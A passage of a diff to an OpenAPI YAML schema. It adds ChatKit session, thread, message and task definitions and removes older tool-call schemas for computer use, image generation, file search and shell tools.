+ type: object
+ required: []
+ title: Rate limit overrides
+ description: Controls request rate limits for the session.
+ AutomaticThreadTitlingParam:
+ properties:
+ enabled:
+ type: boolean
+ description: Enable automatic thread title generation. Defaults to true.
+ type: object
+ required: []
+ title: Automatic thread titling configuration
+ description: Controls whether ChatKit automatically generates thread titles.
+ FileUploadParam:
+ properties:
+ enabled:
+ type: boolean
+ description: Enable uploads for this session. Defaults to false.
+ max_file_size:
+ type: integer
+ maximum: 512
+ minimum: 1
+ description: Maximum size in megabytes for each uploaded file. Defaults to 512 MB, which is the maximum allowable size.
+ max_files:
+ type: integer
+ minimum: 1
+ description: Maximum number of files that can be uploaded to the session. Defaults to 10.
+ type: object
+ required: []
+ title: File upload configuration
+ description: Controls whether users can upload files.
+ HistoryParam:
+ properties:
+ enabled:
+ type: boolean
+ description: Enables chat users to access previous ChatKit threads. Defaults to true.
+ recent_threads:
+ type: integer
+ minimum: 1
+ description: Number of recent ChatKit threads users have access to. Defaults to unlimited when unset.
+ type: object
+ required: []
+ title: Chat history configuration
+ description: Controls how much historical context is retained for the session.
+ ChatkitConfigurationParam:
+ properties:
+ automatic_thread_titling:
+ $ref: '#/components/schemas/AutomaticThreadTitlingParam'
+ description: Configuration for automatic thread titling. When omitted, automatic thread titling is enabled by default.
+ file_upload:
+ $ref: '#/components/schemas/FileUploadParam'
+ description: Configuration for upload enablement and limits. When omitted, uploads are disabled by default (max_files 10, max_file_size 512 MB).
+ history:
+ $ref: '#/components/schemas/HistoryParam'
+ description: Configuration for chat history retention. When omitted, history is enabled by default with no limit on recent_threads (null).
+ type: object
+ required: []
+ title: ChatKit configuration overrides
+ description: Optional per-session configuration settings for ChatKit behavior.
+ CreateChatSessionBody:
+ properties:
+ workflow:
+ $ref: '#/components/schemas/WorkflowParam'
+ description: Workflow that powers the session.
+ user:
type: string
- description: The call ID of the program item that produced this tool call.
+ minLength: 1
+ description: A free-form string that identifies your end user; ensures this Session can access other objects that have the same `user` scope.
+ expires_after:
+ $ref: '#/components/schemas/ExpiresAfterParam'
+ description: Optional override for session expiration timing in seconds from creation. Defaults to 10 minutes.
+ rate_limits:
+ $ref: '#/components/schemas/RateLimitsParam'
+ description: Optional override for per-minute request limits. When omitted, defaults to 10.
+ chatkit_configuration:
+ $ref: '#/components/schemas/ChatkitConfigurationParam'
+ description: Optional overrides for ChatKit runtime configuration features
type: object
required:
- - type
- - caller_id
- ToolCallCaller:
- discriminator:
- propertyName: type
- description: The execution context that produced this tool call.
- anyOf:
- - $ref: '#/components/schemas/DirectToolCallCaller'
- - $ref: '#/components/schemas/ProgramToolCallCaller'
- FunctionCallStatus:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- DirectToolCallCallerParam:
+ - workflow
+ - user
+ title: Create chat session request
+ description: Parameters for provisioning a new ChatKit session.
+ UserMessageInputText:
properties:
type:
type: string
enum:
- - direct
- description: The caller type. Always `direct`.
- default: direct
+ - input_text
+ description: Type discriminator that is always `input_text`.
+ default: input_text
x-stainless-const: true
+ text:
+ type: string
+ description: Plain-text content supplied by the user.
type: object
required:
- type
- ProgramToolCallCallerParam:
+ - text
+ title: User message input
+ description: Text block that a user contributed to the thread.
+ UserMessageQuotedText:
properties:
type:
type: string
enum:
- - program
- description: The caller type. Always `program`.
- default: program
+ - quoted_text
+ description: Type discriminator that is always `quoted_text`.
+ default: quoted_text
x-stainless-const: true
- caller_id:
+ text:
type: string
- maxLength: 64
- minLength: 1
- description: The call ID of the program item that produced this tool call.
+ description: Quoted text content.
type: object
required:
- type
- - caller_id
- ToolCallCallerParam:
- discriminator:
- propertyName: type
- description: The execution context that produced this tool call.
- anyOf:
- - $ref: '#/components/schemas/DirectToolCallCallerParam'
- - $ref: '#/components/schemas/ProgramToolCallCallerParam'
- FunctionCallOutputStatusEnum:
- type: string
- enum:
- - in_progress
- - completed
- - incomplete
- WebSearchCallStatus:
- type: string
- enum:
- - in_progress
- - searching
- - completed
- - failed
- - incomplete
- ImageGenActionEnum:
- type: string
- enum:
- - generate
- - edit
- - auto
- ImageBackground:
- type: string
- enum:
- - transparent
- - opaque
- - auto
- ImageOutputFormat:
+ - text
+ title: User message quoted text
+ description: Quoted snippet that the user referenced in their message.
+ AttachmentType:
type: string
enum:
- - png
- - webp
- - jpeg
- ImageGenToolCall:
+ - image
+ - file
+ Attachment:
properties:
type:
- type: string
- enum:
- - image_generation_call
- description: The type of the image generation call. Always `image_generation_call`.
- x-stainless-const: true
+ $ref: '#/components/schemas/AttachmentType'
+ description: Attachment discriminator.
id:
type: string
- description: The unique ID of the image generation call.
- status:
+ description: Identifier for the attachment.
+ name:
type: string
- enum:
- - in_progress
- - completed
- - generating
- - failed
- description: The status of the image generation call.
- result:
- anyOf:
- - type: string
- description: The generated image encoded in base64.
- - type: 'null'
- size:
- anyOf:
- - anyOf:
- - type: string
- - type: string
- enum:
- - 1024x1024
- - 1024x1536
- - 1536x1024
- description: The image dimensions as a `WIDTHxHEIGHT` string, for example `1536x864`.
- - type: 'null'
- quality:
- anyOf:
- - type: string
- enum:
- - low
- - medium
- - high
- - xhigh
- - max
- - auto
- description: The quality of the image generated by the image generation tool call. One of `low`, `medium`, `high`, `xhigh`, `max`, or `auto`.
- - type: 'null'
- action:
- anyOf:
- - $ref: '#/components/schemas/ImageGenActionEnum'
- description: The action used for image generation.
- - type: 'null'
- x-openai-go-optional-enum: true
- background:
- anyOf:
- - $ref: '#/components/schemas/ImageBackground'
- description: The background setting used for generation.
- - type: 'null'
- x-openai-go-optional-enum: true
- output_format:
- anyOf:
- - $ref: '#/components/schemas/ImageOutputFormat'
- description: The output format used for generation.
- - type: 'null'
- x-openai-go-optional-enum: true
- revised_prompt:
+ description: Original display name for the attachment.
+ mime_type:
+ type: string
+ description: MIME type of the attachment.
+ preview_url:
anyOf:
- type: string
- description: The prompt that was used after any model prompt rewriting.
+ format: uri
+ description: Preview URL for rendering the attachment inline.
- type: 'null'
type: object
required:
- type
- id
- - status
- - result
- title: Image generation call
- description: An image generation request made by the model.
- ClickButtonType:
- type: string
- enum:
- - left
- - right
- - wheel
- - back
- - forward
- ClickParam:
+ - name
+ - mime_type
+ - preview_url
+ title: Attachment
+ description: Attachment metadata included on thread items.
+ ToolChoice:
properties:
- type:
+ id:
type: string
- enum:
- - click
- description: Specifies the event type. For a click action, this property is always `click`.
- default: click
- x-stainless-const: true
- button:
- $ref: '#/components/schemas/ClickButtonType'
- description: Indicates which mouse button was pressed during the click. One of `left`, `right`, `wheel`, `back`, or `forward`.
- x:
- type: integer
- description: The x-coordinate where the click occurred.
- y:
- type: integer
- description: The y-coordinate where the click occurred.
- keys:
- anyOf:
- - items:
- type: string
- type: array
- description: The keys being held while clicking.
- - type: 'null'
+ description: Identifier of the requested tool.
type: object
required:
- - type
- - button
- - x
- - y
- title: Click
- description: A click action.
- DoubleClickAction:
+ - id
+ title: Tool choice
+ description: Tool selection that the assistant should honor when executing the item.
+ InferenceOptions:
properties:
- type:
- type: string
- enum:
- - double_click
- description: Specifies the event type. For a double click action, this property is always set to `double_click`.
- default: double_click
- x-stainless-const: true
- x:
- type: integer
- description: The x-coordinate where the double click occurred.
- y:
- type: integer
- description: The y-coordinate where the double click occurred.
- keys:
+ tool_choice:
anyOf:
- - items:
- type: string
- type: array
- description: The keys being held while double-clicking.
+ - $ref: '#/components/schemas/ToolChoice'
+ description: Preferred tool to invoke. Defaults to null when ChatKit should auto-select.
+ - type: 'null'
+ model:
+ anyOf:
+ - type: string
+ description: Model name that generated the response. Defaults to null when using the session default.
- type: 'null'
type: object
required:
- - type
- - x
- - y
- - keys
- title: DoubleClick
- description: A double click action.
- CoordParam:
+ - tool_choice
+ - model
+ title: Inference options
+ description: Model and tool overrides applied when generating the assistant response.
+ UserMessageItem:
properties:
- x:
- type: integer
- description: The x-coordinate.
- y:
+ id:
+ type: string
+ description: Identifier of the thread item.
+ object:
+ type: string
+ enum:
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
+ x-stainless-const: true
+ created_at:
type: integer
- description: The y-coordinate.
- type: object
- required:
- - x
- - y
- title: Coordinate
- description: 'An x/y coordinate pair, e.g. `{ x: 100, y: 200 }`.'
- DragParam:
- properties:
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
+ type: string
+ description: Identifier of the parent thread.
type:
type: string
enum:
- - drag
- description: Specifies the event type. For a drag action, this property is always set to `drag`.
- default: drag
+ - chatkit.user_message
+ default: chatkit.user_message
x-stainless-const: true
- path:
+ content:
items:
- $ref: '#/components/schemas/CoordParam'
+ discriminator:
+ propertyName: type
+ description: Content blocks that comprise a user message.
+ anyOf:
+ - $ref: '#/components/schemas/UserMessageInputText'
+ - $ref: '#/components/schemas/UserMessageQuotedText'
type: array
- description: |-
- An array of coordinates representing the path of the drag action. Coordinates will appear as an array of objects, eg
- ```
- [
- { x: 100, y: 200 },
- { x: 200, y: 300 }
- ]
- ```
- keys:
+ description: Ordered content elements supplied by the user.
+ attachments:
+ items:
+ $ref: '#/components/schemas/Attachment'
+ type: array
+ description: Attachments associated with the user message. Defaults to an empty list.
+ inference_options:
anyOf:
- - items:
- type: string
- type: array
- description: The keys being held while dragging the mouse.
+ - $ref: '#/components/schemas/InferenceOptions'
+ description: Inference overrides applied to the message. Defaults to null when unset.
- type: 'null'
type: object
required:
+ - id
+ - object
+ - created_at
+ - thread_id
- type
- - path
- title: Drag
- description: A drag action.
- KeyPressAction:
+ - content
+ - attachments
+ - inference_options
+ title: User Message Item
+ description: User-authored messages within a thread.
+ FileAnnotationSource:
properties:
type:
type: string
enum:
- - keypress
- description: Specifies the event type. For a keypress action, this property is always set to `keypress`.
- default: keypress
+ - file
+ description: Type discriminator that is always `file`.
+ default: file
x-stainless-const: true
- keys:
- items:
- type: string
- description: One of the keys the model is requesting to be pressed.
- type: array
- description: The combination of keys the model is requesting to be pressed. This is an array of strings, each representing a key.
+ filename:
+ type: string
+ description: Filename referenced by the annotation.
type: object
required:
- type
- - keys
- title: KeyPress
- description: A collection of keypresses the model would like to perform.
- MoveParam:
+ - filename
+ title: File annotation source
+ description: Attachment source referenced by an annotation.
+ FileAnnotation:
properties:
type:
type: string
enum:
- - move
- description: Specifies the event type. For a move action, this property is always set to `move`.
- default: move
+ - file
+ description: Type discriminator that is always `file` for this annotation.
+ default: file
x-stainless-const: true
- x:
- type: integer
- description: The x-coordinate to move to.
- y:
- type: integer
- description: The y-coordinate to move to.
- keys:
- anyOf:
- - items:
- type: string
- type: array
- description: The keys being held while moving the mouse.
- - type: 'null'
+ source:
+ $ref: '#/components/schemas/FileAnnotationSource'
+ description: File attachment referenced by the annotation.
type: object
required:
- type
- - x
- - y
- title: Move
- description: A mouse move action.
- ScreenshotParam:
+ - source
+ title: File annotation
+ description: Annotation that references an uploaded file.
+ UrlAnnotationSource:
properties:
type:
type: string
enum:
- - screenshot
- description: Specifies the event type. For a screenshot action, this property is always set to `screenshot`.
- default: screenshot
+ - url
+ description: Type discriminator that is always `url`.
+ default: url
x-stainless-const: true
+ url:
+ type: string
+ format: uri
+ description: URL referenced by the annotation.
type: object
required:
- type
- title: Screenshot
- description: A screenshot action.
- ScrollParam:
+ - url
+ title: URL annotation source
+ description: URL backing an annotation entry.
+ UrlAnnotation:
properties:
type:
type: string
enum:
- - scroll
- description: Specifies the event type. For a scroll action, this property is always set to `scroll`.
- default: scroll
+ - url
+ description: Type discriminator that is always `url` for this annotation.
+ default: url
x-stainless-const: true
- x:
- type: integer
- description: The x-coordinate where the scroll occurred.
- y:
- type: integer
- description: The y-coordinate where the scroll occurred.
- scroll_x:
- type: integer
- description: The horizontal scroll distance.
- scroll_y:
- type: integer
- description: The vertical scroll distance.
- keys:
- anyOf:
- - items:
- type: string
- type: array
- description: The keys being held while scrolling.
- - type: 'null'
+ source:
+ $ref: '#/components/schemas/UrlAnnotationSource'
+ description: URL referenced by the annotation.
type: object
required:
- type
- - x
- - y
- - scroll_x
- - scroll_y
- title: Scroll
- description: A scroll action.
- TypeParam:
+ - source
+ title: URL annotation
+ description: Annotation that references a URL.
+ ResponseOutputText:
properties:
type:
type: string
enum:
- - type
- description: Specifies the event type. For a type action, this property is always set to `type`.
- default: type
+ - output_text
+ description: Type discriminator that is always `output_text`.
+ default: output_text
x-stainless-const: true
text:
type: string
- description: The text to type.
+ description: Assistant generated text.
+ annotations:
+ items:
+ discriminator:
+ propertyName: type
+ description: Annotation object describing a cited source.
+ anyOf:
+ - $ref: '#/components/schemas/FileAnnotation'
+ - $ref: '#/components/schemas/UrlAnnotation'
+ type: array
+ description: Ordered list of annotations attached to the response text.
type: object
required:
- type
- text
- title: Type
- description: An action to type in text.
- WaitParam:
+ - annotations
+ title: Assistant message content
+ description: Assistant response text accompanied by optional annotations.
+ AssistantMessageItem:
properties:
+ id:
+ type: string
+ description: Identifier of the thread item.
+ object:
+ type: string
+ enum:
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
+ type: string
+ description: Identifier of the parent thread.
type:
type: string
enum:
- - wait
- description: Specifies the event type. For a wait action, this property is always set to `wait`.
- default: wait
+ - chatkit.assistant_message
+ description: Type discriminator that is always `chatkit.assistant_message`.
+ default: chatkit.assistant_message
x-stainless-const: true
+ content:
+ items:
+ $ref: '#/components/schemas/ResponseOutputText'
+ type: array
+ description: Ordered assistant response segments.
type: object
required:
+ - id
+ - object
+ - created_at
+ - thread_id
- type
- title: Wait
- description: A wait action.
- ComputerCallSafetyCheckParam:
+ - content
+ title: Assistant message
+ description: Assistant-authored message within a thread.
+ WidgetMessageItem:
properties:
id:
type: string
- description: The ID of the pending safety check.
- code:
- anyOf:
- - type: string
- description: The type of the pending safety check.
- - type: 'null'
- message:
- anyOf:
- - type: string
- description: Details about the pending safety check.
- - type: 'null'
+ description: Identifier of the thread item.
+ object:
+ type: string
+ enum:
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
+ type: string
+ description: Identifier of the parent thread.
+ type:
+ type: string
+ enum:
+ - chatkit.widget
+ description: Type discriminator that is always `chatkit.widget`.
+ default: chatkit.widget
+ x-stainless-const: true
+ widget:
+ type: string
+ description: Serialized widget payload rendered in the UI.
type: object
required:
- id
- description: A pending safety check for the computer call.
- ComputerCallOutputStatus:
+ - object
+ - created_at
+ - thread_id
+ - type
+ - widget
+ title: Widget message
+ description: Thread item that renders a widget payload.
+ ClientToolCallStatus:
type: string
enum:
+ - in_progress
- completed
- - incomplete
- - failed
- ToolSearchExecutionType:
- type: string
- enum:
- - server
- - client
- ToolSearchCall:
+ ClientToolCallItem:
properties:
- type:
+ id:
+ type: string
+ description: Identifier of the thread item.
+ object:
type: string
enum:
- - tool_search_call
- description: The type of the item. Always `tool_search_call`.
- default: tool_search_call
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
x-stainless-const: true
- id:
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
type: string
- description: The unique ID of the tool search call item.
+ description: Identifier of the parent thread.
+ type:
+ type: string
+ enum:
+ - chatkit.client_tool_call
+ description: Type discriminator that is always `chatkit.client_tool_call`.
+ default: chatkit.client_tool_call
+ x-stainless-const: true
+ status:
+ $ref: '#/components/schemas/ClientToolCallStatus'
+ description: Execution status for the tool call.
call_id:
+ type: string
+ description: Identifier for the client tool call.
+ name:
+ type: string
+ description: Tool name that was invoked.
+ arguments:
+ type: string
+ description: JSON-encoded arguments that were sent to the tool.
+ output:
anyOf:
- type: string
- description: The unique ID of the tool search call generated by the model.
+ description: JSON-encoded output captured from the tool. Defaults to null while execution is in progress.
- type: 'null'
- execution:
- $ref: '#/components/schemas/ToolSearchExecutionType'
- description: Whether tool search was executed by the server or by the client.
- arguments:
- description: Arguments used for the tool search call.
- status:
- $ref: '#/components/schemas/FunctionCallStatus'
- description: The status of the tool search call item that was recorded.
- created_by:
- type: string
- description: The identifier of the actor that created the item.
type: object
required:
- - type
- id
+ - object
+ - created_at
+ - thread_id
+ - type
+ - status
- call_id
- - execution
+ - name
- arguments
- - status
- CallableToolAllowedCaller:
+ - output
+ title: Client tool call
+ description: Record of a client side tool invocation initiated by the assistant.
+ TaskType:
type: string
enum:
- - direct
- - programmatic
- FunctionTool:
+ - custom
+ - thought
+ TaskItem:
properties:
- type:
+ id:
+ type: string
+ description: Identifier of the thread item.
+ object:
type: string
enum:
- - function
- description: The type of the function tool. Always `function`.
- default: function
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
x-stainless-const: true
- name:
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
type: string
- description: The name of the function to call.
- async:
- type: boolean
- description:
+ description: Identifier of the parent thread.
+ type:
+ type: string
+ enum:
+ - chatkit.task
+ description: Type discriminator that is always `chatkit.task`.
+ default: chatkit.task
+ x-stainless-const: true
+ task_type:
+ $ref: '#/components/schemas/TaskType'
+ description: Subtype for the task.
+ heading:
anyOf:
- type: string
- description: A description of the function. Used by the model to determine whether or not to call the function.
- - type: 'null'
- parameters:
- anyOf:
- - additionalProperties: {}
- type: object
- description: A JSON schema object describing the parameters of the function.
- x-oaiTypeLabel: map
- - type: 'null'
- output_schema:
- anyOf:
- - additionalProperties: {}
- type: object
- description: A JSON schema object describing the JSON value encoded in string outputs for this function.
- x-oaiTypeLabel: map
- - type: 'null'
- strict:
- anyOf:
- - type: boolean
- description: Whether strict parameter validation is enforced for this function tool.
+ description: Optional heading for the task. Defaults to null when not provided.
- type: 'null'
- defer_loading:
- type: boolean
- description: Whether this function is deferred and loaded via tool search.
- allowed_callers:
+ summary:
anyOf:
- - items:
- $ref: '#/components/schemas/CallableToolAllowedCaller'
- type: array
- description: The tool invocation context(s).
+ - type: string
+ description: Optional summary that describes the task. Defaults to null when omitted.
- type: 'null'
type: object
required:
+ - id
+ - object
+ - created_at
+ - thread_id
- type
- - name
- - strict
- - parameters
- title: Function
- description: Defines a function in your own code the model can choose to call. Learn more about [function calling](https://developers.openai.com/api/docs/guides/function-calling).
- RankerVersionType:
- type: string
- enum:
- - auto
- - default-2024-11-15
- HybridSearchOptions:
- properties:
- embedding_weight:
- type: number
- description: The weight of the embedding in the reciprocal ranking fusion.
- text_weight:
- type: number
- description: The weight of the text in the reciprocal ranking fusion.
- type: object
- required:
- - embedding_weight
- - text_weight
- RankingOptions:
- properties:
- ranker:
- $ref: '#/components/schemas/RankerVersionType'
- description: The ranker to use for the file search.
- score_threshold:
- type: number
- description: The score threshold for the file search, a number between 0 and 1. Numbers closer to 1 will attempt to return only the most relevant results, but may return fewer results.
- hybrid_search:
- $ref: '#/components/schemas/HybridSearchOptions'
- description: Weights that control how reciprocal rank fusion balances semantic embedding matches versus sparse keyword matches when hybrid search is enabled.
- type: object
- required: []
- Filters:
- anyOf:
- - $ref: '#/components/schemas/ComparisonFilter'
- - $ref: '#/components/schemas/CompoundFilter'
- FileSearchTool:
+ - task_type
+ - heading
+ - summary
+ title: Task item
+ description: Task emitted by the workflow to show progress and status updates.
+ TaskGroupTask:
properties:
type:
- type: string
- enum:
- - file_search
- description: The type of the file search tool. Always `file_search`.
- default: file_search
- x-stainless-const: true
- vector_store_ids:
- items:
- type: string
- type: array
- description: The IDs of the vector stores to search.
- max_num_results:
- type: integer
- description: The maximum number of results to return. This number should be between 1 and 50 inclusive.
- ranking_options:
- $ref: '#/components/schemas/RankingOptions'
- description: Ranking options for search.
- filters:
+ $ref: '#/components/schemas/TaskType'
+ description: Subtype for the grouped task.
+ heading:
anyOf:
- - $ref: '#/components/schemas/Filters'
- description: A filter to apply.
+ - type: string
+ description: Optional heading for the grouped task. Defaults to null when not provided.
+ - type: 'null'
+ summary:
+ anyOf:
+ - type: string
+ description: Optional summary that describes the grouped task. Defaults to null when omitted.
- type: 'null'
type: object
required:
- type
- - vector_store_ids
- title: File search
- description: A tool that searches for relevant content from uploaded files. Learn more about the [file search tool](https://developers.openai.com/api/docs/guides/tools-file-search).
- ComputerTool:
+ - heading
+ - summary
+ title: Task group task
+ description: Task entry that appears within a TaskGroup.
+ TaskGroupItem:
properties:
- type:
+ id:
+ type: string
+ description: Identifier of the thread item.
+ object:
type: string
enum:
- - computer
- description: The type of the computer tool. Always `computer`.
- default: computer
+ - chatkit.thread_item
+ description: Type discriminator that is always `chatkit.thread_item`.
+ default: chatkit.thread_item
x-stainless-const: true
- type: object
- required:
- - type
- title: Computer
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
- ComputerEnvironment:
- type: string
- enum:
- - windows
- - mac
- - linux
- - ubuntu
- - browser
- ComputerUsePreviewTool:
- properties:
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the item was created.
+ thread_id:
+ type: string
+ description: Identifier of the parent thread.
type:
type: string
enum:
- - computer_use_preview
- description: The type of the computer use tool. Always `computer_use_preview`.
- default: computer_use_preview
+ - chatkit.task_group
+ description: Type discriminator that is always `chatkit.task_group`.
+ default: chatkit.task_group
x-stainless-const: true
- environment:
- $ref: '#/components/schemas/ComputerEnvironment'
- description: The type of computer environment to control.
- display_width:
- type: integer
- description: The width of the computer display.
- display_height:
- type: integer
- description: The height of the computer display.
+ tasks:
+ items:
+ $ref: '#/components/schemas/TaskGroupTask'
+ type: array
+ description: Tasks included in the group.
type: object
required:
+ - id
+ - object
+ - created_at
+ - thread_id
- type
- - environment
- - display_width
- - display_height
- title: Computer use preview
- description: A tool that controls a virtual computer. Learn more about the [computer tool](https://developers.openai.com/api/docs/guides/tools-computer-use).
- ContainerMemoryLimit:
- type: string
- enum:
- - 1g
- - 4g
- - 16g
- - 64g
- RunStepDeltaObjectDelta:
- description: The delta containing the fields that have changed on the run step.
+ - tasks
+ title: Task group
+ description: Collection of workflow tasks grouped together in the thread.
+ ThreadItem:
+ discriminator:
+ propertyName: type
+ title: The thread item
+ anyOf:
+ - $ref: '#/components/schemas/UserMessageItem'
+ - $ref: '#/components/schemas/AssistantMessageItem'
+ - $ref: '#/components/schemas/WidgetMessageItem'
+ - $ref: '#/components/schemas/ClientToolCallItem'
+ - $ref: '#/components/schemas/TaskItem'
+ - $ref: '#/components/schemas/TaskGroupItem'
+ ThreadItemListResource:
+ properties:
+ object:
+ x-stainless-const: true
+ default: list
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
+ items:
+ $ref: '#/components/schemas/ThreadItem'
+ type: array
+ description: A list of items
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first item in the list.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last item in the list.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
type: object
- properties:
- step_details:
- type: object
- description: The details of the run step.
- anyOf:
- - $ref: '#/components/schemas/RunStepDeltaStepDetailsMessageCreationObject'
- - $ref: '#/components/schemas/RunStepDeltaStepDetailsToolCallsObject'
- discriminator:
- propertyName: type
- ProgrammaticToolCallingParam:
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ title: Thread Items
+ description: A paginated list of thread items rendered for the ChatKit API.
+ ActiveStatus:
properties:
type:
type: string
enum:
- - programmatic_tool_calling
- description: The type of the tool. Always `programmatic_tool_calling`.
- default: programmatic_tool_calling
+ - active
+ description: Status discriminator that is always `active`.
+ default: active
x-stainless-const: true
type: object
required:
- type
- InputFidelity:
- type: string
- enum:
- - high
- - low
- description: Control how much effort the model will exert to match the style and features, especially facial features, of input images. This parameter is only supported for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
- LocalShellToolParam:
+ title: Active thread status
+ description: Indicates that a thread is active.
+ LockedStatus:
properties:
type:
type: string
enum:
- - local_shell
- description: The type of the local shell tool. Always `local_shell`.
- default: local_shell
+ - locked
+ description: Status discriminator that is always `locked`.
+ default: locked
x-stainless-const: true
+ reason:
+ anyOf:
+ - type: string
+ description: Reason that the thread was locked. Defaults to null when no reason is recorded.
+ - type: 'null'
type: object
required:
- type
- title: Local shell tool
- description: A tool that allows the model to execute shell commands in a local environment.
- ContainerAutoParam:
+ - reason
+ title: Locked thread status
+ description: Indicates that a thread is locked and cannot accept new input.
+ ClosedStatus:
properties:
type:
type: string
enum:
- - container_auto
- description: Automatically creates a container for this request
- default: container_auto
+ - closed
+ description: Status discriminator that is always `closed`.
+ default: closed
x-stainless-const: true
- file_ids:
- items:
- type: string
- example: file-123
- type: array
- maxItems: 50
- description: An optional list of uploaded files to make available to your code.
- memory_limit:
+ reason:
anyOf:
- - $ref: '#/components/schemas/ContainerMemoryLimit'
- description: The memory limit for the container.
+ - type: string
+ description: Reason that the thread was closed. Defaults to null when no reason is recorded.
- type: 'null'
- network_policy:
- discriminator:
- propertyName: type
- description: Network access policy for the container.
- anyOf:
- - $ref: '#/components/schemas/ContainerNetworkPolicyDisabledParam'
- - $ref: '#/components/schemas/ContainerNetworkPolicyAllowlistParam'
- skills:
- items:
- discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/SkillReferenceParam'
- - $ref: '#/components/schemas/InlineSkillParam'
- type: array
- maxItems: 200
- description: An optional list of skills referenced by id or inline data.
type: object
required:
- type
- LocalSkillParam:
+ - reason
+ title: Closed thread status
+ description: Indicates that a thread has been closed.
+ ThreadResource:
properties:
- name:
+ id:
type: string
- description: The name of the skill.
- description:
+ description: Identifier of the thread.
+ object:
type: string
- description: The description of the skill.
- path:
+ enum:
+ - chatkit.thread
+ description: Type discriminator that is always `chatkit.thread`.
+ default: chatkit.thread
+ x-stainless-const: true
+ created_at:
+ type: integer
+ format: unixtime
+ description: Unix timestamp (in seconds) for when the thread was created.
+ title:
+ anyOf:
+ - type: string
+ description: Optional human-readable title for the thread. Defaults to null when no title has been generated.
+ - type: 'null'
+ status:
+ discriminator:
+ propertyName: type
+ description: Current status for the thread. Defaults to `active` for newly created threads.
+ anyOf:
+ - $ref: '#/components/schemas/ActiveStatus'
+ - $ref: '#/components/schemas/LockedStatus'
+ - $ref: '#/components/schemas/ClosedStatus'
+ user:
type: string
- description: The path to the directory containing the skill.
+ description: Free-form string that identifies your end user who owns the thread.
type: object
required:
- - name
- - description
- - path
- LocalEnvironmentParam:
+ - id
+ - object
+ - created_at
+ - title
+ - status
+ - user
+ title: The thread object
+ description: Represents a ChatKit thread and its current status.
+ example:
+ id: cthr_def456
+ object: chatkit.thread
+ created_at: 1712345600
+ title: Demo feedback
+ status:
+ type: active
+ user: user_456
+ DeletedThreadResource:
properties:
- type:
+ id:
+ type: string
+ description: Identifier of the deleted thread.
+ object:
type: string
enum:
- - local
- description: Use a local computer environment.
- default: local
+ - chatkit.thread.deleted
+ description: Type discriminator that is always `chatkit.thread.deleted`.
+ default: chatkit.thread.deleted
x-stainless-const: true
- skills:
+ deleted:
+ type: boolean
+ description: Indicates that the thread has been deleted.
+ type: object
+ required:
+ - id
+ - object
+ - deleted
+ title: Deleted thread
+ description: Confirmation payload returned after deleting a thread.
+ ThreadListResource:
+ properties:
+ object:
+ x-stainless-const: true
+ default: list
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
items:
- $ref: '#/components/schemas/LocalSkillParam'
+ $ref: '#/components/schemas/ThreadResource'
type: array
- maxItems: 200
- description: An optional list of skills.
+ description: A list of items
+ first_id:
+ anyOf:
+ - type: string
+ description: The ID of the first item in the list.
+ - type: 'null'
+ last_id:
+ anyOf:
+ - type: string
+ description: The ID of the last item in the list.
+ - type: 'null'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
type: object
required:
- - type
- ContainerReferenceParam:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ title: Threads
+ description: A paginated list of ChatKit threads.
+ EnvironmentTypeResource:
+ type: string
+ enum:
+ - openai_hosted
+ - self_hosted
+ description: The kind of execution environment.
+ EnvironmentStatusResource:
+ type: string
+ enum:
+ - pending
+ - connected
+ - disconnected
+ - expired
+ - failed
+ description: The public lifecycle status of an execution environment.
+ HostedEnvironmentFileResourceFileId:
+ type: object
properties:
type:
type: string
enum:
- - container_reference
- description: References a container created with the /v1/containers endpoint
- default: container_reference
+ - file_id
+ default: file_id
x-stainless-const: true
- container_id:
+ description: The type of the object. Always `file_id`.
+ id:
type: string
- description: The ID of the referenced container.
- example: cntr_123
- type: object
+ minLength: 0
+ description: The session-scoped ID of the file in the execution environment.
+ file_id:
+ type: string
+ minLength: 0
+ description: The ID of the uploaded file.
+ path:
+ type: string
+ minLength: 0
+ description: The file's absolute path inside the environment.
+ size_bytes:
+ type: integer
+ format: int64
+ minimum: 0
+ description: The decoded file size in bytes.
required:
- type
- - container_id
- FunctionShellToolParam:
+ - id
+ - file_id
+ - path
+ - size_bytes
+ additionalProperties: false
+ description: A file copied from the OpenAI Files API.
+ HostedEnvironmentFileResourceInline:
+ type: object
properties:
type:
type: string
enum:
- - shell
- description: The type of the shell tool. Always `shell`.
- default: shell
+ - inline
+ default: inline
x-stainless-const: true
- environment:
- anyOf:
- - discriminator:
- propertyName: type
- anyOf:
- - $ref: '#/components/schemas/ContainerAutoParam'
- - $ref: '#/components/schemas/LocalEnvironmentParam'
- - $ref: '#/components/schemas/ContainerReferenceParam'
- - type: 'null'
